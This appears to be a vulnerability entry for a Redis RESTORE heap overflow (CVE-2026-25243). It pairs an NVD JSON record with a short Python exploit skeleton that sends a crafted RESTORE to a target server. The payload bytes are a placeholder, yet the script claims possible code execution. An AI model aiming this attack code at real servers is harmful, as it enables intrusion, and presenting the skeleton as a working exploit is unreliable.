CVE-2026-25243

import redis # Connect to the vulnerable Redis instance # Note: The attacker needs valid credentials and ACL permission for RESTORE r = redis.Redis(host='TARGET_IP', port=6379, password='PASSWORD', decode_responses=False) # Crafted malicious serialized payload to trigger invalid memory access # This is a placeholder structure; real exploit requires specific RDB format manipulation malicious_payload = b'\x0e\x00\x00\x00...<crafted_bytes>' try: # Execute RESTORE command to exploit the vulnerability # The 'REPLACE' flag overwrites existing keys response = r.execute_command('RESTORE', 'exploit_key', 0, malicious_payload, 'REPLACE') print("Payload sent. Check for code execution.") except redis.exceptions.ResponseError as e: print(f"Exploit triggered an error (expected during crash or RCE attempt): {e}") except Exception as e: print(f"Connection error: {e}")

{"cve": {"id": "CVE-2026-25243", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:03.667", "lastModified": "2026-05-06T16:16:41.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Redis is an in-memory data structure store. In versions of redis-server up to 8.6.3, the RESTORE command does not properly validate serialized values. An authenticated attacker with permission to execute RESTORE can supply a crafted serialized payload that triggers invalid memory access and may lead to remote code execution. A workaround is to restrict access to the RESTORE command with ACL rules. This is patched in version 8.6.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.6.3", "matchCriteriaId": "D27823C5-96F2-4D85-89CF-9C5DEAC584E3"}]}]}], "references": [{"url": "https://github.com/redis/redis/releases/tag/8.6.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/redis/redis/security/advisories/GHSA-c8h9-259x-jff4", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}